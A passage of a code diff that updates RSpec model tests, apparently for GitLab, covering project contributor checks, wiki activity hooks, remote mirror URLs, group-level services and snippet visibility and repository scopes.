+++ b/spec/models/project_team_spec.rb
@@ -3,6 +3,8 @@
require "spec_helper"
RSpec.describe ProjectTeam do
+ include ProjectForksHelper
+
let(:maintainer) { create(:user) }
let(:reporter) { create(:user) }
let(:guest) { create(:user) }
@@ -237,6 +239,35 @@ RSpec.describe ProjectTeam do
end
end
+ describe '#contributor?' do
+ let(:project) { create(:project, :public, :repository) }
+
+ context 'when user is a member of project' do
+ before do
+ project.add_maintainer(maintainer)
+ project.add_reporter(reporter)
+ project.add_guest(guest)
+ end
+
+ it { expect(project.team.contributor?(maintainer.id)).to be false }
+ it { expect(project.team.contributor?(reporter.id)).to be false }
+ it { expect(project.team.contributor?(guest.id)).to be false }
+ end
+
+ context 'when user has at least one merge request merged into default_branch' do
+ let(:contributor) { create(:user) }
+ let(:user_without_access) { create(:user) }
+ let(:first_fork_project) { fork_project(project, contributor, repository: true) }
+
+ before do
+ create(:merge_request, :merged, author: contributor, target_project: project, source_project: first_fork_project, target_branch: project.default_branch.to_s)
+ end
+
+ it { expect(project.team.contributor?(contributor.id)).to be true }
+ it { expect(project.team.contributor?(user_without_access.id)).to be false }
+ end
+ end
+
describe '#max_member_access' do
let(:requester) { create(:user) }
@@ -366,6 +397,66 @@ RSpec.describe ProjectTeam do
end
end
+ describe '#contribution_check_for_user_ids', :request_store do
+ let(:project) { create(:project, :public, :repository) }
+ let(:contributor) { create(:user) }
+ let(:second_contributor) { create(:user) }
+ let(:user_without_access) { create(:user) }
+ let(:first_fork_project) { fork_project(project, contributor, repository: true) }
+ let(:second_fork_project) { fork_project(project, second_contributor, repository: true) }
+
+ let(:users) do
+ [contributor, second_contributor, user_without_access].map(&:id)
+ end
+
+ let(:expected) do
+ {
+ contributor.id => true,
+ second_contributor.id => true,
+ user_without_access.id => false
+ }
+ end
+
+ before do
+ create(:merge_request, :merged, author: contributor, target_project: project, source_project: first_fork_project, target_branch: project.default_branch.to_s)
+ create(:merge_request, :merged, author: second_contributor, target_project: project, source_project: second_fork_project, target_branch: project.default_branch.to_s)
+ end
+
+ def contributors(users)
+ project.team.contribution_check_for_user_ids(users)
+ end
+
+ it 'does not perform extra queries when asked for users who have already been found' do
+ contributors(users)
+
+ expect { contributors([contributor.id]) }.not_to exceed_query_limit(0)
+
+ expect(contributors([contributor.id])).to eq(expected)
+ end
+
+ it 'only requests the extra users when uncached users are passed' do
+ new_contributor = create(:user)
+ new_fork_project = fork_project(project, new_contributor, repository: true)
+ second_new_user = create(:user)
+ all_users = users + [new_contributor.id, second_new_user.id]
+ create(:merge_request, :merged, author: new_contributor, target_project: project, source_project: new_fork_project, target_branch: project.default_branch.to_s)
+
+ expected_all = expected.merge(new_contributor.id => true,
+ second_new_user.id => false)
+
+ contributors(users)
+
+ queries = ActiveRecord::QueryRecorder.new { contributors(all_users) }
+
+ expect(queries.count).to eq(1)
+ expect(contributors([new_contributor.id])).to eq(expected_all)
+ end
+
+ it 'returns correct contributors' do
+ expect(contributors(users)).to eq(expected)
+ end
+ end
+
shared_examples 'max member access for users' do
let(:project) { create(:project) }
let(:group) { create(:group) }
@@ -438,9 +529,9 @@ RSpec.describe ProjectTeam do
it 'does not perform extra queries when asked for users who have already been found' do
access_levels(users)
- expect { access_levels(users) }.not_to exceed_query_limit(0)
+ expect { access_levels([maintainer.id]) }.not_to exceed_query_limit(0)
- expect(access_levels(users)).to eq(expected)
+ expect(access_levels([maintainer.id])).to eq(expected)
end
it 'only requests the extra users when uncached users are passed' do
diff --git a/spec/models/project_wiki_spec.rb b/spec/models/project_wiki_spec.rb
index d9c5fed542e..29c3d0e1a73 100644
--- a/spec/models/project_wiki_spec.rb
+++ b/spec/models/project_wiki_spec.rb
@@ -17,19 +17,28 @@ RSpec.describe ProjectWiki do
end
end
- describe '#update_container_activity' do
+ describe '#after_wiki_activity' do
it 'updates project activity' do
wiki_container.update!(
last_activity_at: nil,
last_repository_updated_at: nil
)
- subject.create_page('Test Page', 'This is content')
+ subject.send(:after_wiki_activity)
wiki_container.reload
expect(wiki_container.last_activity_at).to be_within(1.minute).of(Time.current)
expect(wiki_container.last_repository_updated_at).to be_within(1.minute).of(Time.current)
end
end
+
+ describe '#after_post_receive' do
+ it 'updates project activity and expires caches' do
+ expect(wiki).to receive(:after_wiki_activity)
+ expect(ProjectCacheWorker).to receive(:perform_async).with(wiki_container.id, [], [:wiki_size])
+
+ subject.send(:after_post_receive)
+ end
+ end
end
end
diff --git a/spec/models/remote_mirror_spec.rb b/spec/models/remote_mirror_spec.rb
index ebc9760ab14..4c3151f431c 100644
--- a/spec/models/remote_mirror_spec.rb
+++ b/spec/models/remote_mirror_spec.rb
@@ -142,6 +142,20 @@ RSpec.describe RemoteMirror, :mailer do
end
end
+ describe '#bare_url' do
+ it 'returns the URL without any credentials' do
+ remote_mirror = build(:remote_mirror, url: 'http://user:pass@example.com/foo')
+
+ expect(remote_mirror.bare_url).to eq('http://example.com/foo')
+ end
+
+ it 'returns an empty string when the URL is nil' do
+ remote_mirror = build(:remote_mirror, url: nil)
+
+ expect(remote_mirror.bare_url).to eq('')
+ end
+ end
+
describe '#update_repository' do
it 'performs update including options' do
git_remote_mirror = stub_const('Gitlab::Git::RemoteMirror', spy)
@@ -283,7 +297,7 @@ RSpec.describe RemoteMirror, :mailer do
let(:remote_mirror) { create(:project, :repository, :remote_mirror).remote_mirrors.first }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'with remote mirroring disabled' do
@@ -397,7 +411,7 @@ RSpec.describe RemoteMirror, :mailer do
let(:timestamp) { Time.current - 5.minutes }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
@@ -442,16 +456,18 @@ RSpec.describe RemoteMirror, :mailer do
end
describe '#disabled?' do
+ let_it_be(:project) { create(:project, :repository) }
+
subject { remote_mirror.disabled? }
context 'when disabled' do
- let(:remote_mirror) { build(:remote_mirror, enabled: false) }
+ let(:remote_mirror) { build(:remote_mirror, project: project, enabled: false) }
it { is_expected.to be_truthy }
end
context 'when enabled' do
- let(:remote_mirror) { build(:remote_mirror, enabled: true) }
+ let(:remote_mirror) { build(:remote_mirror, project: project, enabled: true) }
it { is_expected.to be_falsy }
end
diff --git a/spec/models/repository_spec.rb b/spec/models/repository_spec.rb
index a6b79e55f02..a3042d619eb 100644
--- a/spec/models/repository_spec.rb
+++ b/spec/models/repository_spec.rb
@@ -1263,6 +1263,7 @@ RSpec.describe Repository do
%w(a b c/z) | %w(c d) | true
%w(a/b/z) | %w(a/b) | false # we only consider refs ambiguous before the first slash
%w(a/b/z) | %w(a/b a) | true
+ %w(ab) | %w(abc/d a b) | false
end
with_them do
diff --git a/spec/models/resource_iteration_event_spec.rb b/spec/models/resource_iteration_event_spec.rb
deleted file mode 100644
index fe1310d7bf1..00000000000
--- a/spec/models/resource_iteration_event_spec.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe ResourceIterationEvent, type: :model do
- it_behaves_like 'a resource event'
- it_behaves_like 'a resource event for issues'
- it_behaves_like 'a resource event for merge requests'
-
- it_behaves_like 'having unique enum values'
- it_behaves_like 'timebox resource event validations'
- it_behaves_like 'timebox resource event actions'
-
- describe 'associations' do
- it { is_expected.to belong_to(:iteration) }
- end
-end
diff --git a/spec/models/resource_label_event_spec.rb b/spec/models/resource_label_event_spec.rb
index 6a235d3aa17..960db31d488 100644
--- a/spec/models/resource_label_event_spec.rb
+++ b/spec/models/resource_label_event_spec.rb
@@ -3,10 +3,12 @@
require 'spec_helper'
RSpec.describe ResourceLabelEvent, type: :model do
- subject { build(:resource_label_event, issue: issue) }
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:issue) { create(:issue, project: project) }
+ let_it_be(:merge_request) { create(:merge_request, source_project: project) }
+ let_it_be(:label) { create(:label, project: project) }
- let(:issue) { create(:issue) }
- let(:merge_request) { create(:merge_request) }
+ subject { build(:resource_label_event, issue: issue, label: label) }
it_behaves_like 'having unique enum values'
diff --git a/spec/models/resource_state_event_spec.rb b/spec/models/resource_state_event_spec.rb
index 1381b45cf9e..fc6575b2db8 100644
--- a/spec/models/resource_state_event_spec.rb
+++ b/spec/models/resource_state_event_spec.rb
@@ -11,4 +11,32 @@ RSpec.describe ResourceStateEvent, type: :model do
it_behaves_like 'a resource event'
it_behaves_like 'a resource event for issues'
it_behaves_like 'a resource event for merge requests'
+
+ describe 'validations' do
+ describe 'Issuable validation' do
+ it 'is valid if an issue is set' do
+ subject.attributes = { issue: build_stubbed(:issue), merge_request: nil }
+
+ expect(subject).to be_valid
+ end
+
+ it 'is valid if a merge request is set' do
+ subject.attributes = { issue: nil, merge_request: build_stubbed(:merge_request) }
+
+ expect(subject).to be_valid
+ end
+
+ it 'is invalid if both issue and merge request are set' do
+ subject.attributes = { issue: build_stubbed(:issue), merge_request: build_stubbed(:merge_request) }
+
+ expect(subject).not_to be_valid
+ end
+
+ it 'is invalid if there is no issuable set' do
+ subject.attributes = { issue: nil, merge_request: nil }
+
+ expect(subject).not_to be_valid
+ end
+ end
+ end
end
diff --git a/spec/models/service_spec.rb b/spec/models/service_spec.rb
index c4a9c0329c7..32e2012e284 100644
--- a/spec/models/service_spec.rb
+++ b/spec/models/service_spec.rb
@@ -3,8 +3,12 @@
require 'spec_helper'
RSpec.describe Service do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:project) { create(:project, group: group) }
+
describe "Associations" do
it { is_expected.to belong_to :project }
+ it { is_expected.to belong_to :group }
it { is_expected.to have_one :service_hook }
it { is_expected.to have_one :jira_tracker_data }
it { is_expected.to have_one :issue_tracker_data }
@@ -13,9 +17,6 @@ RSpec.describe Service do
describe 'validations' do
using RSpec::Parameterized::TableSyntax
- let(:group) { create(:group) }
- let(:project) { create(:project) }
-
it { is_expected.to validate_presence_of(:type) }
where(:project_id, :group_id, :template, :instance, :valid) do
@@ -91,17 +92,12 @@ RSpec.describe Service do
end
end
- describe '#operating?' do
- it 'is false when the service is not active' do
- expect(build(:service).operating?).to eq(false)
- end
-
- it 'is false when the service is not persisted' do
- expect(build(:service, active: true).operating?).to eq(false)
- end
+ describe '.for_group' do
+ let!(:service1) { create(:jira_service, project_id: nil, group_id: group.id) }
+ let!(:service2) { create(:jira_service) }
- it 'is true when the service is active and persisted' do
- expect(create(:service, active: true).operating?).to eq(true)
+ it 'returns the right group service' do
+ expect(described_class.for_group(group)).to match_array([service1])
end
end
@@ -134,20 +130,34 @@ RSpec.describe Service do
end
end
+ describe '#operating?' do
+ it 'is false when the service is not active' do
+ expect(build(:service).operating?).to eq(false)
+ end
+
+ it 'is false when the service is not persisted' do
+ expect(build(:service, active: true).operating?).to eq(false)
+ end
+
+ it 'is true when the service is active and persisted' do
+ expect(create(:service, active: true).operating?).to eq(true)
+ end
+ end
+
describe "Test Button" do
+ let(:service) { build(:service, project: project) }
+
describe '#can_test?' do
subject { service.can_test? }
- let(:service) { create(:service, project: project) }
-
context 'when repository is not empty' do
- let(:project) { create(:project, :repository) }
+ let(:project) { build(:project, :repository) }
it { is_expected.to be true }
end
context 'when repository is empty' do
- let(:project) { create(:project) }
+ let(:project) { build(:project) }
it { is_expected.to be true }
end
@@ -161,14 +171,23 @@ RSpec.describe Service do
it { is_expected.to be_falsey }
end
end
+
+ context 'when group-level service' do
+ Service.available_services_types.each do |service_type|
+ let(:service) do
+ service_type.constantize.new(group_id: group.id)
+ end
+
+ it { is_expected.to be_falsey }
+ end
+ end
end
describe '#test' do
let(:data) { 'test' }
- let(:service) { create(:service, project: project) }
context 'when repository is not empty' do
- let(:project) { create(:project, :repository) }
+ let(:project) { build(:project, :repository) }
it 'test runs execute' do
expect(service).to receive(:execute).with(data)
@@ -178,7 +197,7 @@ RSpec.describe Service do
end
context 'when repository is empty' do
- let(:project) { create(:project) }
+ let(:project) { build(:project) }
it 'test runs execute' do
expect(service).to receive(:execute).with(data)
@@ -189,14 +208,27 @@ RSpec.describe Service do
end
end
- describe '.find_or_initialize_instances' do
+ describe '.find_or_initialize_integration' do
+ let!(:service1) { create(:jira_service, project_id: nil, group_id: group.id) }
+ let!(:service2) { create(:jira_service) }
+
+ it 'returns the right service' do
+ expect(Service.find_or_initialize_integration('jira', group_id: group)).to eq(service1)
+ end
+
+ it 'does not create a new service' do
+ expect { Service.find_or_initialize_integration('redmine', group_id: group) }.not_to change { Service.count }
+ end
+ end
+
+ describe '.find_or_initialize_all' do
shared_examples 'service instances' do
it 'returns the available service instances' do
- expect(Service.find_or_initialize_instances.pluck(:type)).to match_array(Service.available_services_types)
+ expect(Service.find_or_initialize_all(Service.for_instance).pluck(:type)).to match_array(Service.available_services_types)
end
it 'does not create service instances' do
- expect { Service.find_or_initialize_instances }.not_to change { Service.count }
+ expect { Service.find_or_initialize_all(Service.for_instance) }.not_to change { Service.count }
end
end
@@ -211,9 +243,9 @@ RSpec.describe Service do
it_behaves_like 'service instances'
- context 'with a previous existing service (Previous) and a new service (Asana)' do
+ context 'with a previous existing service (MockCiService) and a new service (Asana)' do
before do
- Service.insert(type: 'PreviousService', instance: true)
+ Service.insert(type: 'MockCiService', instance: true)
Service.delete_by(type: 'AsanaService', instance: true)
end
@@ -231,8 +263,6 @@ RSpec.describe Service do
end
describe 'template' do
- let(:project) { create(:project) }
-
shared_examples 'retrieves service templates' do
it 'returns the available service templates' do
expect(Service.find_or_create_templates.pluck(:type)).to match_array(Service.available_services_types)
@@ -390,29 +420,49 @@ RSpec.describe Service do
end
end
- describe 'instance' do
- describe '.instance_for' do
- let_it_be(:jira_service) { create(:jira_service, :instance) }
- let_it_be(:slack_service) { create(:slack_service, :instance) }
-
- subject { described_class.instance_for(type) }
+ describe '.default_integration' do
+ context 'with an instance-level service' do
+ let_it_be(:instance_service) { create(:jira_service, :instance) }
- context 'Hipchat serivce' do
- let(:type) { 'HipchatService' }
+ it 'returns the instance service' do
+ expect(described_class.default_integration('JiraService', project)).to eq(instance_service)
+ end
- it { is_expected.to eq(nil) }
+ it 'returns nil for nonexistent service type' do
+ expect(described_class.default_integration('HipchatService', project)).to eq(nil)
end
- context 'Jira serivce' do
- let(:type) { 'JiraService' }
+ context 'with a group service' do
+ let_it_be(:group_service) { create(:jira_service, group_id: group.id, project_id: nil) }
- it { is_expected.to eq(jira_service) }
- end
+ it 'returns the group service for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(group_service)
+ end
+
+ it 'returns the instance service for a group' do
+ expect(described_class.default_integration('JiraService', group)).to eq(instance_service)
+ end
- context 'Slack serivce' do
- let(:type) { 'SlackService' }
+ context 'with a subgroup' do
+ let_it_be(:subgroup) { create(:group, parent: group) }
+ let!(:project) { create(:project, group: subgroup) }
- it { is_expected.to eq(slack_service) }
+ it 'returns the closest group service for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(group_service)
+ end
+
+ it 'returns the closest group service for a subgroup' do
+ expect(described_class.default_integration('JiraService', subgroup)).to eq(group_service)
+ end
+
+ context 'having a service' do
+ let!(:subgroup_service) { create(:jira_service, group_id: subgroup.id, project_id: nil) }
+
+ it 'returns the closest group service for a project' do
+ expect(described_class.default_integration('JiraService', project)).to eq(subgroup_service)
+ end
+ end
+ end
end
end
end
@@ -420,7 +470,7 @@ RSpec.describe Service do
describe "{property}_changed?" do
let(:service) do
BambooService.create(
- project: create(:project),
+ project: project,
properties: {
bamboo_url: 'http://gitlab.com',
username: 'mic',
@@ -460,7 +510,7 @@ RSpec.describe Service do
describe "{property}_touched?" do
let(:service) do
BambooService.create(
- project: create(:project),
+ project: project,
properties: {
bamboo_url: 'http://gitlab.com',
username: 'mic',
@@ -500,7 +550,7 @@ RSpec.describe Service do
describe "{property}_was" do
let(:service) do
BambooService.create(
- project: create(:project),
+ project: project,
properties: {
bamboo_url: 'http://gitlab.com',
username: 'mic',
@@ -540,7 +590,7 @@ RSpec.describe Service do
describe 'initialize service with no properties' do
let(:service) do
BugzillaService.create(
- project: create(:project),
+ project: project,
project_url: 'http://gitlab.example.com'
)
end
@@ -555,7 +605,6 @@ RSpec.describe Service do
end
describe "callbacks" do
- let(:project) { create(:project) }
let!(:service) do
RedmineService.new(
project: project,
@@ -622,8 +671,7 @@ RSpec.describe Service do
end
context 'logging' do
- let(:project) { create(:project) }
- let(:service) { create(:service, project: project) }
+ let(:service) { build(:service, project: project) }
let(:test_message) { "test message" }
let(:arguments) do
{
diff --git a/spec/models/snippet_input_action_spec.rb b/spec/models/snippet_input_action_spec.rb
index ca61b80df4c..43dc70bea98 100644
--- a/spec/models/snippet_input_action_spec.rb
+++ b/spec/models/snippet_input_action_spec.rb
@@ -22,9 +22,9 @@ RSpec.describe SnippetInputAction do
:move | 'foobar' | 'foobar' | nil | nil | false | :previous_path
:move | 'foobar' | 'foobar' | '' | nil | false | :previous_path
:move | 'foobar' | 'foobar' | 'foobar' | nil | false | :file_path
- :move | nil | 'foobar' | 'foobar' | nil | false | :file_path
- :move | '' | 'foobar' | 'foobar' | nil | false | :file_path
- :move | nil | 'foobar' | 'foo1' | nil | false | :file_path
+ :move | nil | 'foobar' | 'foobar' | nil | true | nil
+ :move | '' | 'foobar' | 'foobar' | nil | true | nil
+ :move | nil | 'foobar' | 'foo1' | nil | true | nil
:move | 'foobar' | nil | 'foo1' | nil | true | nil
:move | 'foobar' | '' | 'foo1' | nil | true | nil
:create | 'foobar' | nil | 'foobar' | nil | false | :content
diff --git a/spec/models/snippet_repository_spec.rb b/spec/models/snippet_repository_spec.rb
index 0f5e0bfc75c..95602a4de0e 100644
--- a/spec/models/snippet_repository_spec.rb
+++ b/spec/models/snippet_repository_spec.rb
@@ -108,6 +108,7 @@ RSpec.describe SnippetRepository do
before do
allow(snippet).to receive(:repository).and_return(repo)
allow(repo).to receive(:ls_files).and_return([])
+ allow(repo).to receive(:root_ref).and_return('master')
end
it 'infers the commit action based on the parameters if not present' do
@@ -197,7 +198,7 @@ RSpec.describe SnippetRepository do
shared_examples 'snippet repository with file names' do |*filenames|
it 'sets a name for unnamed files' do
- ls_files = snippet.repository.ls_files(nil)
+ ls_files = snippet.repository.ls_files(snippet.default_branch)
expect(ls_files).to include(*filenames)
end
end
@@ -306,6 +307,6 @@ RSpec.describe SnippetRepository do
end
def first_blob(snippet)
- snippet.repository.blob_at('master', snippet.repository.ls_files(nil).first)
+ snippet.repository.blob_at('master', snippet.repository.ls_files(snippet.default_branch).first)
end
end
diff --git a/spec/models/snippet_spec.rb b/spec/models/snippet_spec.rb
index 3f9c6981de1..ab614a6d45c 100644
--- a/spec/models/snippet_spec.rb
+++ b/spec/models/snippet_spec.rb
@@ -133,10 +133,10 @@ RSpec.describe Snippet do
end
describe '#file_name' do
- let(:project) { create(:project) }
+ let(:snippet) { build(:snippet, file_name: file_name) }
context 'file_name is nil' do
- let(:snippet) { create(:snippet, project: project, file_name: nil) }
+ let(:file_name) { nil }
it 'returns an empty string' do
expect(snippet.file_name).to eq ''
@@ -144,10 +144,10 @@ RSpec.describe Snippet do
end
context 'file_name is not nil' do
- let(:snippet) { create(:snippet, project: project, file_name: 'foo.txt') }
+ let(:file_name) { 'foo.txt' }
it 'returns the file_name' do
- expect(snippet.file_name).to eq 'foo.txt'
+ expect(snippet.file_name).to eq file_name
end
end
end
@@ -161,7 +161,7 @@ RSpec.describe Snippet do
end
describe '.search' do
- let(:snippet) { create(:snippet, title: 'test snippet', description: 'description') }
+ let_it_be(:snippet) { create(:snippet, title: 'test snippet', description: 'description') }
it 'returns snippets with a matching title' do
expect(described_class.search(snippet.title)).to eq([snippet])
@@ -219,25 +219,23 @@ RSpec.describe Snippet do
end
describe '.with_optional_visibility' do
+ let_it_be(:public_snippet) { create(:snippet, :public) }
+ let_it_be(:private_snippet) { create(:snippet, :private) }
+
context 'when a visibility level is provided' do
it 'returns snippets with the given visibility' do
- create(:snippet, :private)
-
- snippet = create(:snippet, :public)
snippets = described_class
.with_optional_visibility(Gitlab::VisibilityLevel::PUBLIC)
- expect(snippets).to eq([snippet])
+ expect(snippets).to eq([public_snippet])
end
end
context 'when a visibility level is not provided' do
it 'returns all snippets' do
- snippet1 = create(:snippet, :public)
- snippet2 = create(:snippet, :private)
snippets = described_class.with_optional_visibility
- expect(snippets).to include(snippet1, snippet2)
+ expect(snippets).to include(public_snippet, private_snippet)
end
end
end
@@ -254,12 +252,13 @@ RSpec.describe Snippet do
end
describe '.only_include_projects_visible_to' do
- let!(:project1) { create(:project, :public) }
- let!(:project2) { create(:project, :internal) }
- let!(:project3) { create(:project, :private) }
- let!(:snippet1) { create(:project_snippet, project: project1) }
- let!(:snippet2) { create(:project_snippet, project: project2) }
- let!(:snippet3) { create(:project_snippet, project: project3) }
+ let_it_be(:author) { create(:user) }
+ let_it_be(:project1) { create(:project_empty_repo, :public, namespace: author.namespace) }
+ let_it_be(:project2) { create(:project_empty_repo, :internal, namespace: author.namespace) }
+ let_it_be(:project3) { create(:project_empty_repo, :private, namespace: author.namespace) }
+ let_it_be(:snippet1) { create(:project_snippet, project: project1, author: author) }
+ let_it_be(:snippet2) { create(:project_snippet, project: project2, author: author) }
+ let_it_be(:snippet3) { create(:project_snippet, project: project3, author: author) }
context 'when a user is provided' do
it 'returns snippets visible to the user' do
@@ -283,55 +282,47 @@ RSpec.describe Snippet do
end
describe 'only_include_projects_with_snippets_enabled' do
- context 'when the include_private option is enabled' do
- it 'includes snippets for projects with snippets set to private' do
- project = create(:project)
-
- project.project_feature
- .update(snippets_access_level: ProjectFeature::PRIVATE)
+ let_it_be(:project, reload: true) { create(:project_empty_repo) }
+ let_it_be(:snippet) { create(:project_snippet, project: project) }
- snippet = create(:project_snippet, project: project)
+ let(:access_level) { ProjectFeature::ENABLED }
- snippets = described_class
- .only_include_projects_with_snippets_enabled(include_private: true)
-
- expect(snippets).to eq([snippet])
- end
+ before do
+ project.project_feature.update(snippets_access_level: access_level)
end
- context 'when the include_private option is not enabled' do
- it 'does not include snippets for projects that have snippets set to private' do
- project = create(:project)
+ it 'includes snippets for projects with snippets enabled' do
+ snippets = described_class.only_include_projects_with_snippets_enabled
- project.project_feature
- .update(snippets_access_level: ProjectFeature::PRIVATE)
+ expect(snippets).to eq([snippet])
+ end
- create(:project_snippet, project: project)
+ context 'when snippet_access_level is private' do
+ let(:access_level) { ProjectFeature::PRIVATE }
- snippets = described_class.only_include_projects_with_snippets_enabled
+ context 'when the include_private option is enabled' do
+ it 'includes snippets for projects with snippets set to private' do
+ snippets = described_class.only_include_projects_with_snippets_enabled(include_private: true)
- expect(snippets).to be_empty
+ expect(snippets).to eq([snippet])
+ end
end
- end
-
- it 'includes snippets for projects with snippets enabled' do
- project = create(:project)
- project.project_feature
- .update(snippets_access_level: ProjectFeature::ENABLED)
+ context 'when the include_private option is not enabled' do
+ it 'does not include snippets for projects that have snippets set to private' do
+ snippets = described_class.only_include_projects_with_snippets_enabled
- snippet = create(:project_snippet, project: project)
- snippets = described_class.only_include_projects_with_snippets_enabled
-
- expect(snippets).to eq([snippet])
+ expect(snippets).to be_empty
+ end
+ end
end
end
describe '.only_include_authorized_projects' do
it 'only includes snippets for projects the user is authorized to see' do
user = create(:user)
- project1 = create(:project, :private)
- project2 = create(:project, :private)
+ project1 = create(:project_empty_repo, :private)
+ project2 = create(:project_empty_repo, :private)
project1.team.add_developer(user)
@@ -345,43 +336,34 @@ RSpec.describe Snippet do
end
describe '.for_project_with_user' do
- context 'when a user is provided' do
- it 'returns an empty collection if the user can not view the snippets' do
- project = create(:project, :private)
- user = create(:user)
+ let_it_be(:public_project) { create(:project_empty_repo, :public) }
+ let_it_be(:private_project) { create(:project_empty_repo, :private) }
- project.project_feature
- .update(snippets_access_level: ProjectFeature::ENABLED)
+ context 'when a user is provided' do
+ let_it_be(:user) { create(:user) }
- create(:project_snippet, :public, project: project)
+ it 'returns an empty collection if the user can not view the snippets' do
+ create(:project_snippet, :public, project: private_project)
- expect(described_class.for_project_with_user(project, user)).to be_empty
+ expect(described_class.for_project_with_user(private_project, user)).to be_empty
end
it 'returns the snippets if the user is a member of the project' do
- project = create(:project, :private)
- user = create(:user)
- snippet = create(:project_snippet, project: project)
+ snippet = create(:project_snippet, project: private_project)
- project.team.add_developer(user)
+ private_project.team.add_developer(user)
- snippets = described_class.for_project_with_user(project, user)
+ snippets = described_class.for_project_with_user(private_project, user)
expect(snippets).to eq([snippet])
end
it 'returns public snippets for a public project the user is not a member of' do
- project = create(:project, :public)
-
- project.project_feature
- .update(snippets_access_level: ProjectFeature::ENABLED)
+ snippet = create(:project_snippet, :public, project: public_project)
- user = create(:user)
- snippet = create(:project_snippet, :public, project: project)
+ create(:project_snippet, :private, project: public_project)
- create(:project_snippet, :private, project: project)
-
- snippets = described_class.for_project_with_user(project, user)
+ snippets = described_class.for_project_with_user(public_project, user)
expect(snippets).to eq([snippet])
end
@@ -389,26 +371,17 @@ RSpec.describe Snippet do
context 'when a user is not provided' do
it 'returns an empty collection for a private project' do
- project = create(:project, :private)
-
- project.project_feature
- .update(snippets_access_level: ProjectFeature::ENABLED)
+ create(:project_snippet, :public, project: private_project)
- create(:project_snippet, :public, project: project)
-
- expect(described_class.for_project_with_user(project)).to be_empty
+ expect(described_class.for_project_with_user(private_project)).to be_empty
end
it 'returns public snippets for a public project' do
- project = create(:project, :public)
- snippet = create(:project_snippet, :public, project: project)
-
- project.project_feature
- .update(snippets_access_level: ProjectFeature::PUBLIC)
+ snippet = create(:project_snippet, :public, project: public_project)
- create(:project_snippet, :private, project: project)
+ create(:project_snippet, :private, project: public_project)
- snippets = described_class.for_project_with_user(project)
+ snippets = described_class.for_project_with_user(public_project)
expect(snippets).to eq([snippet])
end
@@ -430,34 +403,30 @@ RSpec.describe Snippet do
end
describe '#participants' do
- let(:project) { create(:project, :public) }
- let(:snippet) { create(:snippet, content: 'foo', project: project) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:snippet) { create(:snippet, content: 'foo', project: project) }
- let!(:note1) do
+ let_it_be(:note1) do
create(:note_on_project_snippet,
noteable: snippet,
project: project,
note: 'a')
end
- let!(:note2) do
+ let_it_be(:note2) do
create(:note_on_project_snippet,
noteable: snippet,
project: project,
note: 'b')
end
- it 'includes the snippet author' do
- expect(snippet.participants).to include(snippet.author)
- end
-
- it 'includes the note authors' do
- expect(snippet.participants).to include(note1.author, note2.author)
+ it 'includes the snippet author and note authors' do
+ expect(snippet.participants).to include(snippet.author, note1.author, note2.author)
end
end
describe '#check_for_spam' do
- let(:snippet) { create :snippet, visibility_level: visibility_level }
+ let(:snippet) { create(:snippet, visibility_level: visibility_level) }
subject do
snippet.assign_attributes(title: title)
@@ -500,7 +469,7 @@ RSpec.describe Snippet do
end
describe '#blob' do
- let(:snippet) { create(:snippet) }
+ let(:snippet) { build(:snippet) }
it 'returns a blob representing the snippet data' do
blob = snippet.blob
@@ -514,6 +483,14 @@ RSpec.describe Snippet do
describe '#blobs' do
let(:snippet) { create(:snippet) }
+ it 'returns a blob representing the snippet data' do
+ blob = snippet.blob
+
+ expect(blob).to be_a(Blob)
+ expect(blob.path).to eq(snippet.file_name)
+ expect(blob.data).to eq(snippet.content)
+ end
+
context 'when repository does not exist' do
it 'returns empty array' do
expect(snippet.blobs).to be_empty
@@ -527,14 +504,6 @@ RSpec.describe Snippet do
expect(snippet.blobs).to all(be_a(Blob))
end
end
-
- it 'returns a blob representing the snippet data' do
- blob = snippet.blob
-
- expect(blob).to be_a(Blob)
- expect(blob.path).to eq(snippet.file_name)
- expect(blob.data).to eq(snippet.content)
- end
end
describe '#to_json' do
@@ -554,7 +523,7 @@ RSpec.describe Snippet do
end
describe '#storage' do
- let(:snippet) { create(:snippet) }
+ let(:snippet) { build(:snippet, id: 1) }
it "stores snippet in #{Storage::Hashed::SNIPPET_REPOSITORY_PATH_PREFIX} dir" do
expect(snippet.storage.disk_path).to start_with Storage::Hashed::SNIPPET_REPOSITORY_PATH_PREFIX
@@ -775,6 +744,16 @@ RSpec.describe Snippet do
subject
end
+
+ context 'when ref is nil' do
+ let(:ref) { nil }
+
+ it 'lists files from the repository from the deafult_branch' do
+ expect(snippet.repository).to receive(:ls_files).with(snippet.default_branch)
+
+ subject
+ end
+ end
end
context 'when snippet does not have a repository' do
@@ -787,4 +766,26 @@ RSpec.describe Snippet do
end
end
end
+
+ describe '#multiple_files?' do
+ subject { snippet.multiple_files? }
+
+ context 'when snippet has multiple files' do
+ let(:snippet) { create(:snippet, :repository) }
+
+ it { is_expected.to be_truthy }
+ end
+
+ context 'when snippet does not have multiple files' do
+ let(:snippet) { create(:snippet, :empty_repo) }
+
+ it { is_expected.to be_falsey }
+ end
+
+ context 'when the snippet does not have a repository' do
+ let(:snippet) { build(:snippet) }
+
+ it { is_expected.to be_falsey }
+ end
+ end
end
diff --git a/spec/models/snippet_statistics_spec.rb b/spec/models/snippet_statistics_spec.rb
index ad25bd7b3be..8def6a0bbd4 100644
--- a/spec/models/snippet_statistics_spec.rb
+++ b/spec/models/snippet_statistics_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe SnippetStatistics do
subject { statistics.update_file_count }
it 'updates the count of files' do
- file_count = snippet_with_repo.repository.ls_files(nil).count
+ file_count = snippet_with_repo.repository.ls_files(snippet_with_repo.default_branch).count
subject
diff --git a/spec/models/terraform/state_spec.rb b/spec/models/terraform/state_spec.rb
index 68bb86bfa49..01ae80a61d1 100644
--- a/spec/models/terraform/state_spec.rb
+++ b/spec/models/terraform/state_spec.rb
@@ -7,8 +7,9 @@ RSpec.describe Terraform::State do
let(:terraform_state_file) { fixture_file('terraform/terraform.tfstate') }
- it { is_expected.to belong_to(:project) }
+ it { is_expected.to be_a FileStoreMounter }
+ it { is_expected.to belong_to(:project) }
